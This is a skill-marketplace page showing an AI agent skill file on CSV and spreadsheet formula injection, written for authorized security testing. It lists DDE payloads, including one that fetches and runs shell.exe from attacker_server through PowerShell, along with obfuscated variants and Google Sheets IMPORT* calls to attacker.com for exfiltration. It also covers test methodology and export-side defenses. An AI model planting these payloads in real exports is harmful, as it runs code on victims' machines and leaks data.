Skip to main content

csv-formula-injection

CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.

معلومات المصدر

المستودع
yaklang/hack-skills
آخر نشاط في المصدر
٢١ أبريل ٢٠٢٦ في ٢١:٤٨
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٢٬٦٠١
التفرعات
٣٦٠

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
csv-formula-injection
description
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
# SKILL: CSV Formula Injection > **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests. ## 0. QUICK START Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula): ```text = + - @ ``` Test cells may look like: ```csv name,value test,=1+1 test,+1+1 test,-1+1 test,@SUM(1+1) ``` **Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters. --- ## 1. DDE INJECTION (EXCEL / LIBREOFFICE) Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction: ```text DDE("cmd";"/C calc";"!A0")A0 ``` ```text @SUM(1+1)*cmd|' /C calc'!A0 ``` ```text =2+5+cmd|' /C calc'!A0 ``` ```text =cmd|' /C calc'!'A1' ``` PowerShell-style chaining (lab only; replace host and payload with benign equivalents): ```text =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 ``` --- ## 2. OBFUSCATION Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed): ```text AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A ``` Extra whitespace after `=`: ```text = cmd|'/c calc.exe'!A ``` Dispersed characters / unusual spacing (conceptual pattern—adjust per parser): ```text = C m D |'/c calc.exe'!A ``` `rundll32` style: ```text =rundll32|'URL.dll,OpenURL calc.exe'!A ``` --- ## 3. GOOGLE SHEETS If exported data is later opened in **Google Sheets**, or sheets pull from untrusted CSV, these functions can cause **outbound requests** or **cross-document data pulls**: **Data exfiltration / probe (replace URL with your authorized callback):** ```text =IMPORTXML("http://attacker.com/", "//a/@href") ``` Other high-risk imports: ```text =IMPORTRANGE("spreadsheet_url", "range") =IMPORTHTML("http://attacker.com/table", "table", 1) =IMPORTFEED("http://attacker.com/feed.xml") =IMPORTDATA("http://attacker.com/data.csv") ``` Document which function executed and what network side effects occurred. --- ## 4. TESTING METHODOLOGY 1. **Map sinks** — Any feature that emits **CSV, XLSX, or tab-separated** output: admin exports, audit logs, user rosters, billing reports, search results. 2. **Trace user-controlled fields** — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input. 3. **Inject formula prefixes** — Start with benign arithmetic (`=1+1`, `+1+1`) to detect evaluation; escalate only per rules. 4. **Open in target software** — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators. 5. **Evidence** — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version. **Note**: focus on the `user input -> export -> opened in spreadsheet software` chain. --- ## 5. DEFENSE Application and export-layer mitigations: - **Prefix with single quote** — In many spreadsheet apps, leading `'` forces **text** interpretation: `'=cmd|...` displays literally. - **Prefix with tab** — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly. - **Strip or neutralize leading triggers** — Remove or escape leading `=`, `+`, `-`, `@` (and Unicode lookalikes) at export time. - **CSV encoding** — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization. - **User education** — Do not enable external data / DDE without policy. Example safe export transformation (conceptual): ```text Input: =1+1 Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180 ``` **Note**: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.
عرض على GitHub